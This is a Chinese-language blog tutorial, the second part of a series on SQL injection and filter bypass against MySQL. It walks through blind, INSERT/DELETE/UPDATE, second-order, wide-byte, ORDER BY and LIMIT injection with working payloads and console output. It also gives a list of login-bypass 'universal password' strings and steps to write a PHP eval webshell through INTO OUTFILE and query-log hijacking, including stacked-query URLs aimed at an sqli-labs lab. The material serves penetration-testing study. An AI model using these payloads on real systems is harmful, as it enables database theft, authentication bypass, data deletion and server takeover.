SQL注入及bypass思路(2)

接上回继续分解 SQL注入及bypass思路(1)

盲注

盲注在这里归纳为:

  • 时间盲注
  • 布尔盲注

其实在如今的实际环境中,一般盲注的情况比较多,时间盲注太花费时间,同时对网络要求比较高,二分,dnslog等等可以加快注入的进程

盲注需要注意的问题

  • 在盲注中使用 and,你得确定你查询的值得存在
  • 在返回多组数据的情况下,你的延时不再是单纯的sleep(5),它将根据你返回的数据条数来反复执行
  • 在如同搜索型时尽量搜索存在且数目较少的关键词
  • 尽量不要使用or

如果吐司文章看不了的话可以看看安全客上的这篇:

https://www.anquanke.com/post/id/170626

盲注的本质是猜解,根据页面运行时间的差异或者页面返回结果的差异获取数据

简单时间盲注

时间盲注也叫延时注入,一般用到函数sleep() BENCHMARK(),还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢),查阅mysql手册会发现更多可以使用的东西

关于benchmark 和 笛卡尔积

BENCHMARK()函数,可以测试某些特定操作的执行速度,在这里我们通过大量运算来模拟延时

mysql> select benchmark(10000000,sha1(1)); +-----------------------------+ | benchmark(10000000,sha1(1)) | +-----------------------------+ | 0 | +-----------------------------+ 1 row in set (4.60 sec) mysql> select * from user where id=-1 or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0); Empty set (4.25 sec) mysql> select * from user where id=-1 or if(ascii(substr(database(),1,1))>200,benchmark(10000000,sha(1)),0); Empty set (0.00 sec)

笛卡尔积也是通过大量运算模拟延时

不推荐使用笛卡尔积,当数据过多的时候会造成dos

mysql> select count(*) from information_schema.tables A,information_schema.tables B; +----------+ | count(*) | +----------+ | 47524 | +----------+ 1 row in set (0.01 sec) mysql> select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C; +----------+ | count(*) | +----------+ | 10360232 | +----------+ 1 row in set (0.25 sec) mysql> select * from user where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.25 sec) mysql> select * from user where '1'='2' or if(ascii(substr(database(),1,1))>200,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0); Empty set (0.00 sec)

可以看出都是利用if语句配合分割函数和延时操作来进行时间盲注

一般时间盲注我们还需要使用条件判断函数

if()

if(expre1,expre2,expre3)

当expre1为true时,返回expre2,false时,返回expre3

盲注的同时也配合着mysql提供的分割函数,与正则函数,like函数,比较函数等等

substr substring left ...

为了提高盲注速度可以在找到过滤和注入方式后,使用一门拿手的语言编写盲注脚本来解放双手

我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的有ascii()``hex()等等

case when then else end

语句比较简单不做过多解释了,看例子就会

mysql> select * from user where id =1 and case when (substr((select user()),1,1)="rr") then sleep(3) else 1 end; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec) mysql> select * from user where id =1 and case when (substr((select user()),1,1)="r") then sleep(3) else 1 end; Empty set (3.00 sec)

布尔盲注

布尔盲注的思路很多,比如正则匹配,比较函数,运算符等等,推荐可以看看:https://www.anquanke.com/post/id/170626

  • 直接通过字符串截取对比

    mysql> select * from user where id =1 and substr((select user()),1,1)='r'; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec) mysql> select * from user where id =1 and substr((select user()),1,2)='r'; Empty set (0.00 sec)
  • 使用IFNULL()函数

    IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。

    mysql> select * from user where id =1 and IFNULL((substr((select user()),1,1)='r'),0); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec) mysql> select * from user where id =1 and IFNULL((substr((select user()),1,2)='r'),0); Empty set (0.00 sec)
  • 使用比较函数strcmp()

    mysql> select * from user where id =1 and strcmp((substr((select user()),1,1)='r'),1); Empty set (0.00 sec) mysql> select * from user where id =1 and strcmp((substr((select user()),1,2)='r'),1); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec) mysql> select * from user where id =1 and 0=strcmp((substr((select user()),1,1)),'o'); Empty set (0.00 sec) mysql> select * from user where id =1 and 0=strcmp((substr((select user()),1,1)),'r'); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec)

    小技巧

    在没有办法的情况下必须使用到or的延时注入不如试试子查询,它也只将延时5s

    mysql> select * from user where id =-1 or if((substr((select user()),1,1)='r'),((select sleep(5) from information_schema.schemata as b)),1); ERROR 1242 (21000): Subquery returns more than 1 row mysql> select * from user where id =-1 or if((substr((select user()),1,1)='o'),((select sleep(5) from information_schema.schemata as b)),1); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec)

    第一条语句虽然报错但还是产生了明显的延时

insert,delete,update注入

这里对应的是数据库插入,删除,更新操作,insertdelteupdate主要是用到盲注和报错注入,此类注入点不建议使用sqlmap等工具,会造成大量垃圾数据和其他情况

insert

这类漏洞注入漏洞点假如没闭合是会产生很多垃圾数据的,建议手工或者自己写工具

一般这种注入会出现在注册,ip头,留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现

insert 报错

mysql> insert into user (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin123"); Query OK, 1 row affected (0.04 sec) mysql> select * from user; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 | +------+-----------------------------------------------+----------+ 2 rows in set (0.00 sec) mysql> insert into user (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin123"); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' mysql> select * from user; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 | +------+-----------------------------------------------+----------+ 2 rows in set (0.00 sec)

insert 盲注

int型可以使用运算符,比如加减乘除 and or 异或 移位等等

mysql> insert into user values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (5.00 sec) mysql> insert into user values (2+if((substr((select user()),1,1)='a'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (0.00 sec) mysql> select * from user; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 | | 2 | 1 | admin | | 3 | 1 | admin | +------+-----------------------------------------------+----------+ 4 rows in set (0.00 sec)

字符型注意闭合不能使用and

mysql> insert into user values (4,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (0.00 sec) mysql> insert into user values (4,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (5.00 sec) mysql> select * from user; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 | | 2 | 1 | admin | | 3 | 1 | admin | | 4 | 1 | admin | | 4 | 0 | admin | +------+-----------------------------------------------+----------+ 6 rows in set (0.00 sec)

可以看出。盲注会产生大量的垃圾数据

delete

报错注入同上

值得注意的是delete注入很危险,语句不当将会亲人两行泪

例如 or 1=1,因为1=1为true,所以每一行被删除

他以前sqlmap一把梭,现在过得很好,每顿都有人送饭到手上,吃上了皇粮

所以在delete注入时使用 or 一定要为 false

or 1=1删库的例子:

mysql> select * from user; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 | | 2 | 1 | admin | | 3 | 1 | admin | | 4 | 1 | admin | | 4 | 0 | admin | +------+-----------------------------------------------+----------+ 6 rows in set (0.00 sec) mysql> delete from user where id =1 or 1=1; Query OK, 6 rows affected (0.00 sec) mysql> select * from user; Empty set (0.00 sec)

报错注入

mysql> delete from user where id =-2 or updatexml(1,concat(0x7e,(version())),0); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

盲注

or 配上if()函数使用不当也会导致删库

if(expr1,expr2,expr3)

如果expr1的值为true,返回expr2的值,如果expr1的值为false,返回expr3的值

mysql> delete from user where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1); Query OK, 1 row affected (0.00 sec)

所以delete中 or 的正确使用方法(or 右边要为false)

mysql> insert into user values (1,"admin","admin"); Query OK, 1 row affected (0.00 sec) mysql> delete from user where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0); Query OK, 0 rows affected (0.00 sec) mysql> delete from user where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0); Query OK, 0 rows affected (5.00 sec)

update

与上面类似

mysql> select * from user; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec) mysql> update admin set id="5"+sleep(5)+"" where id=1; ERROR 1146 (42S02): Table 'sqlvul.admin' doesn't exist mysql> update user set id="5"+sleep(5)+"" where id=1; Query OK, 1 row affected (5.00 sec) Rows matched: 1 Changed: 1 Warnings: 0

关于寻找 update,insert注入

我们可以尝试性插入引号,双引号,转义符,让语句不能正常执行,然后如果插入失败,更新失败,再深入测试是否存在注入

二次注入

二次注入的原理是sql语句没有被转义直接存入数据库,然后再被读取查询而导致的

二次注入在php中通常见于,插入时被addslasher() get_magic_quotes_gpc等等转义,但是写入数据库时还是使用原来的数据,二次注入造成原因是多种多样的。

例如从数据库中取出数据时,信任了数据库中的数据,未经过过滤而直接使用,导致二次注入的出现

在没有被单引号包裹的sql语句下,我们可以用十六进制编码它,这样就不会带有单引号等

mysql> insert into user (id,username,password) values ('3',0x61646D696E27313131,'11'); Query OK, 1 row affected (0.00 sec) mysql> select * from user; +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 3 | admin'111 | 11 | | 5 | admin | admin | +------+-----------+----------+ 2 rows in set (0.00 sec)

想要具体了解这个可以做做 sqli-labs 24课,二次注入在没有源码的情况下较难发现,通常见于注册

宽字节注入

1,没使用宽字节 %27 -> %5c%27 2,使用宽字节 %df%27 -> %df%5c%27 ->運'

解释:

  • 在我们输入单引号时,过滤函数将我们的单引号加入了转义字符,则\变成了\'
  • 我们输入经过转换后由于编码的不同把%df%5c转换成了一个汉字,从而导致了单引号逃逸了出来

想要具体了解找题做的话,可以做做sqli-labs 33课

关于宽字节注入的原理

程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入

比如PHP的编码为 UTF-8MySql的编码设置为了gbk

前端输入%df%27时首先经过上面addslashes函数转义变成了%df%5c%27%5c是反斜杠\),之后在数据库查询前因为设置了GBK编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c转换成了汉字,而单引号就逃逸了出来,从而造成了注入漏洞。

宽字节注入的关键点有两个:

  • 需要将数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
  • 设置的宽字符集可能吃掉转义符号\(对应的编码为0x5c,即低位中包含正常的0x5c就行了)

order by 注入

这是一种特殊的注入

sql语句为 select * from user order by $id

我们一般用 order by来判断它的列数,其实它就是一个依照第几个列来排序的过程

order by注入是不能直接使用and 1=1来判断的,它需要用到条件语句

mysql> select * from user order by id; +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 3 | admin'111 | 11 | | 5 | admin | admin | +------+-----------+----------+ 2 rows in set (0.00 sec) mysql> select * from user order by username; +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 5 | admin | admin | | 3 | admin'111 | 11 | +------+-----------+----------+ 2 rows in set (0.00 sec)

order by 盲注

布尔

简单的判断

mysql> select * from user order by if(1=1,username,password); +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 5 | admin | admin | | 3 | admin'111 | 11 | +------+-----------+----------+ 2 rows in set (0.00 sec) mysql> select * from user order by if(1=2,username,password); +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 3 | admin'111 | 11 | | 5 | admin | admin | +------+-----------+----------+ 2 rows in set (0.00 sec)

简单的注入

mysql> select * from user order by if((substr((select user()),1,1)='r1'),username,password); +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 3 | admin'111 | 11 | | 5 | admin | admin | +------+-----------+----------+ 2 rows in set (0.00 sec) mysql> select * from user order by if((substr((select user()),1,1)='r'),username,password); +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 5 | admin | admin | | 3 | admin'111 | 11 | +------+-----------+----------+ 2 rows in set (0.00 sec)

时间盲注

时间盲注不能直接简单的sleep(),因为他会对每条内容来执行你的语句,所以会造成dos,测试获取速度慢等问题,这时候我们需要用到子查询

mysql> select * from user order by if((substr((select user()),1,1)='r'),sleep(5),password); +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 3 | admin'111 | 11 | | 5 | admin | admin | +------+-----------+----------+ 2 rows in set (10.00 sec)

可以看到表中有两条数据,就使用了2*5

我们写一条简单的子查询试试

mysql> select * from user order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password); +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 3 | admin'111 | 11 | | 5 | admin | admin | +------+-----------+----------+ 2 rows in set (2.00 sec)

order by 报错注入

mysql> select * from user order by (extractvalue(1,concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

from 注入

from 后面的注入比较少,还是提一下

select * from $id;
  • 可以结合 order by来注入
  • 可以使用联合注入来注入
mysql> select * from user union select 1,user(),3; +------+----------------+----------+ | id | username | password | +------+----------------+----------+ | 3 | admin'111 | 11 | | 5 | admin | admin | | 1 | root@localhost | 3 | +------+----------------+----------+ 3 rows in set (0.00 sec)

方法跟普通注入一样的,自己加上表名

limit 注入

这种注入也不是很常见,可以参考:

https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

或者P牛的转载:

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

select * from user where id >0 limit 0,1 $id

利用方法大佬已经给出了,使用PROCEDURE ANALYSE配合报错注入

mysql> select * from user where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

直接使用sleep不行,需要用benchmark代替

select * from admin where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);

再谈万能密码登录

万能密码基本大家都用过,各种各样的,如下

'or 1=1/* "or "a"="a "or 1=1-- "or"=" "or"="a'='a "or1=1-- "or=or" ''or'='or' ') or ('a'='a '.).or.('.a.'='.a 'or 1=1 'or 1=1-- 'or 1=1/* 'or"="a'='a 'or' '1'='1' 'or''=' 'or''=''or''=' 'or'='1' 'or'='or' 'or.'a.'='a 'or1=1-- 1'or'1'='1 a'or' 1=1-- a'or'1=1-- or 'a'='a' or 1=1-- or1=1--

其实根据前面的文章我们很容易看出,它的原理就是让我们的条件恒成立,至于为什么这么多种,就是根据语句的形式来闭合的

这里面涉及到运算符的优先级,mysql运算的特性,然后下面我们以几个例子来做做最另类的万能密码

mysql> select * from user where username = '/*' and password = '*/'; Empty set (0.00 sec)

注释绕过

mysql> select * from user where username = ''or 1=1-- ' and password = '123'; -> ; +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 3 | admin'111 | 11 | | 5 | admin | admin | +------+-----------+----------+ 2 rows in set (0.00 sec)

经典的or 1=1-- 其中1=1恒为 true,然后导致每条数据都成立返回

那么知道了这个原理怎么构造一个简单的万能密码呢

mysql> select ''=0; +------+ | ''=0 | +------+ | 1 | +------+ 1 row in set (0.00 sec) mysql> select 1=0=0; +-------+ | 1=0=0 | +-------+ | 1 | +-------+ 1 row in set (0.00 sec)

我们可以看到mysql中空字符串''等于0,结果为1,也就是true,知道这个特性我们可以来构造我们的万能密码了

mysql> select * from user; +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 4 | 3test | 11 | | 1 | 1test | 11 | | 3 | admin'111 | 11 | | 5 | admin | admin | +------+-----------+----------+ 4 rows in set (0.00 sec) mysql> select * from user where username=''|0#' and password='123'; -> ; +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 3 | admin'111 | 11 | | 5 | admin | admin | +------+-----------+----------+ 2 rows in set, 3 warnings (0.00 sec)

小注

原文中这里其实没有讲清楚,我们使用'|0#'这个万能密码的时候,查询结果只出现了两条数据,而username为数字开头的数据则没有出现,因为Mysql数据库中,varchar与数字比较时,会强制转换varchar为数字再进行比较(类似php语言中的intval函数处理)非数字开头的varchar字符串会转换为0再进行比较,数字开头的varchar字符串转化为开头对应数字部分的值再进行比较,所以当username和0进行比较时,会返回所有不是数字开头的结果。

读写文件与堆叠查询

mysql中在mysql 5.6.34版本之后secure_file_priv的值默认为NULL,而secure_file_priv为null,我们就不能导出文件

以下都建立在secure_file_priv的默认值被修改为无才能利用,且这个只能手工修改配置文件,不能使用sql语句,也就是需要管理员不知道干了什么帮你修改好这个权限才可以

windows系统在my.ini的[mysqld]下面加上secure_file_priv=,linux的在/etc/my/cnf,同时读写权限问题就不用说了

小注

在我们测试 mysql 写 webshell 时需要开启 secure_file_priv,否则无法写入,该参数在 mysql 5.6.34 以后默认是 NULL

查看 secure_file_priv的状态

mysql> show variables like 'secure_file_priv'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | NULL | +------------------+-------+ 1 row in set (0.00 sec)

secure_file_priv 的值有三种情况:
| | NULL(默认) | 不允许导入导出文件
| | D:\test | 只允许在 D:\test 目录导入导出文件
| | 空 | 不限制路径,可以任意导入导出文件

我们手动将secure_file_priv设置为空

设置后重启mysql

可以看到已经设置为空了

读文件

可以把文件hex一下输出,文件名也是支持hex和char的

mysql> select * from user union select 1,hex(load_file('D:\\phpStudy\\PHPTutorial\\WWW\\springbird.txt')),3; +------+-----------+----------+ | id | username | password | +------+-----------+----------+ | 4 | 3test | 11 | | 1 | 1test | 11 | | 3 | admin'111 | 11 | | 5 | admin | admin | | 1 | 6869 | 3 | +------+-----------+----------+ 5 rows in set (0.00 sec)

当然你进入了phpmyadmin类似的平台可以执行sql语句,你可以选择把导入的数据插入表中,同时支持导入的函数还有load data infile

mysql> create table test(test text); Query OK, 0 rows affected (0.06 sec) mysql> insert into test(test) values (load_file('D:\\phpStudy\\PHPTutorial\\WWW\\springbird.txt')); Query OK, 1 row affected (0.00 sec) mysql> select * from test; +------+ | test | +------+ | hi | +------+ 1 row in set (0.00 sec)

如果能读文件在渗透测试中往往很有用,可以读取配置文件,系统问题等等关键信息,在作者以前的一次渗透中,进入一个后台功能全部被限制死了,但是可以执行导入,通过一个编辑器的目录遍历,发现某文件时间不一致,读取出来发现是webshell,应该是某黑客进去之后做的手脚

写文件

写文件我们一般用到dumpfileoutfile,它们其实是有区别的

outfile会在行末写入新行,而且会转义换行符

dumpfile能导出一个完整的文件,不会有任何转义,所以我们udf提取一般用的dumpfile

mysql> select * from user where id =1 union select 1,'<?php eval($_POST[cmd]);?>',3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\springbird1.php'; Query OK, 2 rows affected (0.00 sec)

后来大佬们找到一种方法通过日志来写shell解决这个史诗级难题,但是需要能直接执行sql语句,利用条件有限

简单来说,日志写马的流程为:开启日志记录,修改日志存储位置,sql语句写马

set global general_log=on; set global general_log_file='D://404.php'; select '<?php eval($_POST['404']) ?>';

还有一种慢日志,原理一样

mysql> show global variables like '%query_log%' -> ; +---------------------+-------------------------------------------------------------+ | Variable_name | Value | +---------------------+-------------------------------------------------------------+ | slow_query_log | OFF | | slow_query_log_file | D:\phpstudy\PHPTutorial\MySQL\data\LAPTOP-M4APUKKN-slow.log | +---------------------+-------------------------------------------------------------+ 2 rows in set (0.00 sec)

步骤为

set global slow_query_log=1; set global slow_query_log_file='D://404.php' select '<?php eval($_POST['404']) ?>' or sleep(15);

堆叠查询

mysql是支持堆叠查询的,用;分割语句,但是php原生的连接方式不支持,但是使用PDO,mysqli_multi_query()等等是支持多语句的,在我们使用堆叠查询的时候基本是没有回显的,而且其实很难遇到这种环境

mysql> select * from user where id=1;select user(); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | 1test | 11 | +------+----------+----------+ 1 row in set (0.00 sec) +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.00 sec)

这里讲到一起就是因为,加入支持堆叠查询还可以用日志来写shell

http://192.168.59.129/Less-38/?id=1%27;set global general_log=on;set global general_log_file='C://phpstudy//404.php';--+ http://192.168.59.129/Less-38/?id=1%27;select '<?php eval($_POST[404]) ?>';--+

参考链接


__EOF__

本文作者春告鳥
本文链接https://www.cnblogs.com/Cl0ud/p/14469935.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   春告鳥  阅读(783)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示